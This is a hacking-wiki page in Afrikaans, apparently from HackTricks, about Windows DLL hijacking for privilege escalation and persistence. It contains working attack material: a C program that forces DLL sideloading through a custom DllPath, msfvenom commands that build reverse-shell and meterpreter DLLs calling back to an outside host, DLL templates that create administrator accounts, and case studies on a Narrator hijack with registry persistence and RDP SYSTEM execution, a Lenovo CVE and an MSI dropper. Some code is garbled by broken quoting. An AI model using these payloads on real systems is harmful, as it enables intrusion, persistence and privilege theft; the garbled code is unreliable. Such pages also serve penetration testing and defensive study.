Dll Hijacking
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
DLL Hijacking behels die manipulasie van ân betroubare toepassing om ân kwaadwillige DLL te laai. Hierdie term dek verskeie taktieke soos DLL Spoofing, Injection, and Side-Loading. Dit word hoofsaaklik gebruik vir code execution, die verkryging van persistence, en, minder algemeen, privilege escalation. Alhoewel die fokus hier op escalation is, bly die metode van hijacking konsekwent oor doelwitte.
Algemene Tegnieke
Verskeie metodes word gebruik vir DLL hijacking, elk met verskillende doeltreffendheid afhangend van die toepassing se DLL-laaistrategie:
- DLL Replacement: Vervang ân genuiene DLL met ân kwaadwillige een, opsioneel deur DLL Proxying te gebruik om die funksionaliteit van die oorspronklike DLL te behou.
- DLL Search Order Hijacking: Plaas die kwaadwillige DLL in ân soekpad wat voor die legitieme een gekontroleer word, deur die toepassing se soekpatroon uit te buit.
- Phantom DLL Hijacking: Skep ân kwaadwillige DLL sodat ân toepassing dit laai, omdat dit dink dit is ân nie-bestaande vereiste DLL.
- DLL Redirection: Wysig soekparameters soos
%PATH%of.exe.manifest/.exe.locallĂȘers om die toepassing na die kwaadwillige DLL te lei. - WinSxS DLL Replacement: Vervang die legitieme DLL met ân kwaadwillige teenhanger in die WinSxS gids, ân metode wat dikwels geassosieer word met DLL side-loading.
- Relative Path DLL Hijacking: Plaas die kwaadwillige DLL in ân gebruikerbeheerde gids saam met die gekopieerde toepassing, wat ooreenstem met Binary Proxy Execution tegnieke.
Vind ontbrekende Dlls
Die algemeenste manier om ontbrekende Dlls binne ân stelsel te vind is om procmon van sysinternals te laat loop, en die volgende 2 filters te stel:
.png)
.png)
en net die File System Activity wys:
.png)
As jy na missing dlls in general soek, laat dit vir ân paar seconds hardloop.
As jy na ân missing dll inside an specific executable soek, moet jy ân ander filter stel soos âProcess Nameâ âcontainsâ <exec name>, voer dit uit, en stop die gebeurtenisopname.
Exploiting Missing Dlls
Om privilege escalation te bereik, is ons beste kans om ân dll te kan skryf wat ân privileged proses sal probeer laai in een van die plekke waar dit gesoek sal word. Daarom sal ons in staat wees om ân dll te skryf in ân gids waar die dll gesoek word voor die gids waar die oorspronklike dll is (vreemde geval), of ons sal in staat wees om op ân gids te skryf waar die dll gesoek gaan word en die oorspronklike dll nie in enige gids bestaan nie.
Dll Search Order
Inside the Microsoft documentation you can find how the Dlls are loaded specifically.
Windows applications look for DLLs by following a set of pre-defined search paths, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.
You can see the DLL search order on 32-bit systems below:
- The directory from which the application loaded.
- The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- (C:\Windows)
- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
Dit is die default soekorde met SafeDllSearchMode aangeskakel. Wanneer dit gedeaktiveer is, skuif die huidige gids na tweede plek. Om hierdie kenmerk af te skakel, skep die HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registerwaarde en stel dit op 0 (default is enabled).
As die LoadLibraryEx funksie met LOAD_WITH_ALTERED_SEARCH_PATH aangeroep word begin die soektog in die gids van die uitvoerbare modul wat LoadLibraryEx besig is om te laai.
Laastens, let daarop dat ân dll gelaai kan word deur die absolute pad aan te dui in plaas van net die naam. In daardie geval sal daardie dll slegs in daardie pad gesoek word (as die dll enige afhanklikhede het, sal hulle gesoek word soos gewoonlik vir ân dll wat per naam gelaai is).
Daar is ander maniere om die soekorde te verander, maar ek gaan dit nie hier verduidelik nie.
Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
ân Gevorderde manier om deterministies die DLL soekpad van ân nuut geskepte proses te beĂŻnvloed, is om die DllPath veld in RTL_USER_PROCESS_PARAMETERS te stel wanneer die proses geskep word met ntdllâs native APIs. Deur ân aanvaller-beheerde gids hier te verskaf, kan ân teikenproses wat ân ingevoerde DLL per naam oplos (geen absolute pad en nie die safe loading flags gebruik nie) gedwing word om ân kwaadwillige DLL vanaf daardie gids te laai.
Sleutelidee
- Bou die prosesparameters met RtlCreateProcessParametersEx en voorsien ân persoonlike DllPath wat na jou beheerde gids wys (bv. die gids waar jou dropper/unpacker woon).
- Skep die proses met RtlCreateUserProcess. Wanneer die teiken-binĂȘr ân DLL per naam oplos, sal die laaier hierdie verskafde DllPath raadpleeg tydens die resolusie, wat betroubare sideloading moontlik maak selfs wanneer die kwaadwillige DLL nie saam met die teiken EXE geplaas is nie.
Notas/beperkings
- Dit beĂŻnvloed die kindproses wat geskep word; dit verskil van SetDllDirectory, wat slegs die huidige proses beĂŻnvloed.
- Die teiken moet ân DLL invoer of via LoadLibrary per naam laai (geen absolute pad en nie die gebruik van LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories nie).
- KnownDLLs en hardgekodeerde absolute paaie kan nie gehijack word nie. Forwarded exports en SxS kan die prioriteit verander.
Minimal C example (ntdll, wide strings, simplified error handling):
Volledige C voorbeeld: afdwing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
```c #include// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; âi) if (out[i-1] == Lâ\â) { out[i-1] = 0; break; } }
int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = Lâ\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exeâ;
// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, Lâ"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"â); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(Lântdll.dllâ), âRtlCreateProcessParametersExâ); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(Lântdll.dllâ), âRtlCreateUserProcessâ);
RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here) return 0; }
</details>
Operationele gebruiksvoorbeeld
- Plaas 'n kwaadwillige xmllite.dll (wat die vereiste funksies uitvoer of as 'n proxy na die werklike een optree) in jou DllPath-gids.
- Start 'n ondertekende binĂȘre wat bekend is daarvoor dat dit xmllite.dll by naam opsoek met die bogenoemde tegniek. Die loader los die import op via die verskafte DllPath en sideloads jou DLL.
Hierdie tegniek is in die veld waargeneem om multi-stage sideloading-kettings aan te dryf: 'n aanvanklike launcher laat 'n helper DLL val, wat dan 'n Microsoft-ondertekende, hijackable binĂȘre spawn met 'n pasgemaakte DllPath om die laai van die aanvaller se DLL vanaf 'n staging directory af te dwing.
#### Uitsonderings op dll soekorde uit Windows-dokumentasie
Sekere uitsonderings op die standaard DLL-zoekorde word in Windows-dokumentasie aangeteken:
- Wanneer 'n **DLL wat dieselfde naam deel as een wat reeds in geheue gelaai is** teëgekom word, slaan die stelsel die gewone soektog oor. In plaas daarvan voer dit 'n kontrole vir omleiding en 'n manifest uit voordat dit na die reeds in geheue gelaaide DLL terugval. **In hierdie scenario voer die stelsel geen soektog vir die DLL uit nie**.
- In gevalle waar die DLL erken word as 'n **known DLL** vir die huidige Windows-weergawe, sal die stelsel sy weergawe van die known DLL gebruik, tesame met enige van sy afhanklike DLLs, **sonder die soekproses**. Die register sleutel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** bevat 'n lys van hierdie known DLLs.
- As 'n **DLL afhanklikhede het**, word die soektog na hierdie afhanklike DLLs uitgevoer asof hulle slegs deur hul **module names** aangedui is, ongeag of die aanvanklike DLL deur 'n volledige pad geĂŻdentifiseer is.
### Eskalering van regte
**Vereistes**:
- Identifiseer 'n proses wat werk of sal werk onder **verskillende regte** (horizontale of laterale beweging), waarin 'n **DLL ontbreek**.
- Verseker dat **skryf-toegang** beskikbaar is vir enige **gids** waarin die **DLL** gesoek sal word. Hierdie ligging kan die gids van die uitvoerbare lĂȘer wees of 'n gids binne die stelselpad.
Ja, die vereistes is moeilik om te vind omdat dit **per verstek nogal vreemd is om 'n bevoegde uitvoerbare lĂȘer te vind wat 'n dll ontbreek** en dit is selfs **vreemder om skryfregte op 'n stelselpad-gids te hĂȘ** (jy het dit nie per verstek nie). Maar in verkeerd gekonfigureerde omgewings is dit moontlik. In die geval dat jy gelukkig is en aan die vereistes voldoen, kan jy die [UACME](https://github.com/hfiref0x/UACME) projek nagaan. Selfs al is die **hoofdoel van die projek om UAC te omseil**, mag jy daar 'n **PoC** van 'n Dll hijacking vir die Windows-weergawe vind wat jy kan gebruik (waarskynlik deur net die pad van die gids waarin jy skryfreg het te verander).
Let daarop dat jy jou **toestemmings in 'n gids kan kontroleer** deur die volgende te doen:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
En kontroleer die toestemmings van alle gidse binne PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Jy kan ook die imports van ân executable en die exports van ân dll nagaan met:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
Vir ân volledige gids oor hoe om misbruik Dll Hijacking om privilegies te eskaleer met skryfregte in ân System Path-lĂȘergids kyk:
Writable Sys Path +Dll Hijacking Privesc
Outomatiese gereedskap
Winpeas sal kontroleer of jy skryfregte het op enige gids binne system PATH.
Andere interessante outomatiese gereedskap om hierdie kwesbaarheid te ontdek is PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack en Write-HijackDll.
Voorbeeld
Indien jy ân uitbuitbare scenario vind, een van die belangrikste dinge om dit suksesvol uit te buit, is om ân dll te skep wat ten minste al die funksies eksporteer wat die executable daaruit sal invoer. Neem egter kennis dat Dll Hijacking handig kan wees om te eskaleer van Medium Integrity-vlak na High (UAC te omseil) of van High Integrity na SYSTEM. Jy kan ân voorbeeld vind van hoe om ân geldige dll te skep binne hierdie dll hijacking-studie gefokus op dll hijacking vir uitvoering: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Verder, in die volgende afdeling kan jy ân paar basiese dll-kodes vind wat nuttig kan wees as sjablone of om ân dll met nie-vereiste funksies geĂ«ksporteer te skep.
Skep en kompileer Dlls
Dll Proxifying
Basies is ân Dll proxy ân Dll wat jou kwaadwillige kode kan uitvoer wanneer dit gelaai word, maar ook die verwagte gedrag kan handhaaf deur alle oproepe na die werklike library te herlei.
Met die instrumente DLLirant of Spartacus kan jy eintlik ân executable aandui en die library kies wat jy wil proxify en ân proxified dll genereer, of die Dll aandui en ân proxified dll genereer.
Meterpreter
Kry rev shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Kry ân meterpreter (x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Skep ân gebruiker (x86 ek het nie ân x64-weergawe gesien nie):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
Jou eie
Let wel dat in verskeie gevalle die Dll wat jy kompileer moet export several functions wat deur die victim process gelaai gaan word. As hierdie funksies nie bestaan nie, sal die binary wonât be able to load hulle en die exploit will fail.
C DLL template (Win10)
```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(âcmd.exe /k net localgroup administrators user /addâ); ExitProcess(0); } return TRUE; }
<details>
<summary>C++ DLL-voorbeeld met die skep van 'n gebruiker</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
Alternatiewe C DLL with thread entry
```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll#include<windows.h> #include<stdlib.h> #include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded system(âcmdâ); }
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }
</details>
## Gevalstudie: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)
Windows Narrator.exe soek by opstart steeds na 'n voorspelbare, taalspesifieke localization DLL wat gekaap kan word vir arbitrary code execution en persistence.
Key facts
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.
Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.
Minimale DLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}
OPSEC-stilte
- ân NaĂŻewe hijack sal die UI laat praat/uitlig. Om stil te bly, tel by attach die Narrator threads, open die hoofdraad (
OpenThread(THREAD_SUSPEND_RESUME)) enSuspendThreaddit; gaan voort in jou eie thread. Sien PoC vir die volle kode.
Trigger en persistensie via Accessibility-konfigurasie
- User context (HKCU):
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - Winlogon/SYSTEM (HKLM):
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - Met bogenoemde laai die begin van Narrator die geplante DLL. Op die secure desktop (logon screen), druk CTRL+WIN+ENTER om Narrator te begin.
RDP-gedrewe SYSTEM-uitvoering (laterale beweging)
- Allow classic RDP security layer:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f - RDP na die host, op die logon screen druk CTRL+WIN+ENTER om Narrator te lanseer; jou DLL word as SYSTEM op die secure desktop uitgevoer.
- Uitvoering stop wanneer die RDP-sessie sluitâinjekteer/migreer onmiddellik.
Bring Your Own Accessibility (BYOA)
- Jy kan ân ingeboude Accessibility Tool (AT) registerinskrywing kloon (bv. CursorIndicator), dit wysig om na ân arbitrĂȘre binary/DLL te wys, dit importeer, en dan
configurationop daardie AT-naam stel. Dit maak dit moontlik om arbitrĂȘre kode onder die Accessibility-raamwerk uit te voer.
Notes
- Om te skryf onder
%windir%\System32en HKLM-waardes te verander vereis admin-regte. - Alle payload-logika kan in
DLL_PROCESS_ATTACHwoon; geen exports is nodig nie.
Gevalstudie: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
Hierdie geval demonstreer Phantom DLL Hijacking in Lenovo se TrackPoint Quick Menu (TPQMAssistant.exe), geĂŻdentifiseer as CVE-2025-1729.
Kwetsbaarheidsbesonderhede
- Komponent:
TPQMAssistant.exegeleë byC:\ProgramData\Lenovo\TPQM\Assistant\. - Scheduled Task:
Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTaskhardloop daagliks om 09:30 onder die konteks van die aangemelde gebruiker. - Directory Permissions: Skryfbaar deur
CREATOR OWNER, wat plaaslike gebruikers toelaat om arbitrĂȘre lĂȘers te plaas. - DLL Search Behavior: Probeer eers om
hostfxr.dlluit sy werksgids te laai en log âNAME NOT FOUNDâ as dit ontbreek, wat aandui dat die plaaslike gids eerste gesoek word.
Exploit Implementation
ân Aanvaller kan ân kwaadwillige hostfxr.dll stub in dieselfde gids plaas, die ontbrekende DLL uitbuit om kode-uitvoering onder die gebruiker se konteks te bereik:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
Aanvalvloeistroom
- As ân gewone gebruiker, plaas
hostfxr.dllinC:\ProgramData\Lenovo\TPQM\Assistant\. - Wag dat die geskeduleerde taak om 09:30 in die huidige gebruiker se konteks uitgevoer word.
- As ân administrateur aangemeld is wanneer die taak uitgevoer word, loop die kwaadwillige DLL in die administrateur se sessie op medium-integriteit.
- Koppel standaard UAC bypass-tegnieke om van medium-integriteit na SYSTEM-privileges te verhoog.
Gevalstudie: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)
Dreigakteure kombineer dikwels MSI-gebaseerde droppers met DLL side-loading om payloads onder ân vertroude, gesigneerde proses uit te voer.
Ketting-oorsig
- Gebruiker laai MSI af. ân CustomAction loop stilweg tydens die GUI-installasie (bv. LaunchApplication of ân VBScript-aksie), en herbou die volgende fase uit ingebedde hulpbronne.
- Die dropper skryf ân wettige, gesigneerde EXE en ân kwaadwillige DLL na dieselfde gids (example pair: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
- Wanneer die gesigneerde EXE begin, laai die Windows DLL-soekorde eers wsc.dll vanaf die werkgids, wat aanvallerskode onder ân gesigneerde ouer uitvoer (ATT&CK T1574.001).
MSI-analise (waarop om te let)
- CustomAction table:
- Soek na inskrywings wat uitvoerbare lĂȘers of VBScript loop. Verdagte voorbeeldpatroon: LaunchApplication wat ân ingebedde lĂȘer op die agtergrond uitvoer.
- In Orca (Microsoft Orca.exe), ondersoek CustomAction, InstallExecuteSequence en Binary tables.
- Ingeslote/gesplitste payloads in die MSI CAB:
- Administratiewe uittreksel: msiexec /a package.msi /qb TARGETDIR=C:\out
- Of gebruik lessmsi: lessmsi x package.msi C:\out
- Soek na verskeie klein fragmente wat aanmekaar geplak en deur ân VBScript CustomAction gedekripteer word. Algemene vloei:
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)
Praktiese sideloading met wsc_proxy.exe
- Plaas hierdie twee lĂȘers in dieselfde gids:
- wsc_proxy.exe: legitiem ondertekende host (Avast). Die proses probeer wsc.dll per naam vanaf sy gids laai.
- wsc.dll: attacker DLL. As geen spesifieke exports benodig word nie, kan DllMain volstaan; anders bou ân proxy DLL en stuur die vereiste exports na die egte biblioteek terwyl die payload in DllMain uitgevoer word.
- Bou ân minimale DLL-payload:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
-
Vir exportvereistes, gebruik ân proxying framework (e.g., DLLirant/Spartacus) om ân forwarding DLL te genereer wat ook jou payload uitvoer.
-
Hierdie tegniek berus op DLL-naamresolusie deur die host binary. As die host absolute paths of safe loading flags (e.g., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories) gebruik, kan die hijack misluk.
-
KnownDLLs, SxS, en forwarded exports kan invloed hĂȘ op voorrang en moet oorweeg word tydens die keuse van die host binary en export set.
References
- CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
- Microsoft Store - TPQM Assistant UWP
- https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
- https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
- Check Point Research â Nimbus Manticore Deploys New Malware Targeting Europe
- TrustedSec â Hack-cessibility: When DLL Hijacks Meet Windows Helpers
- PoC â api0cradle/Narrator-dll
- Sysinternals Process Monitor
- Unit 42 â Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

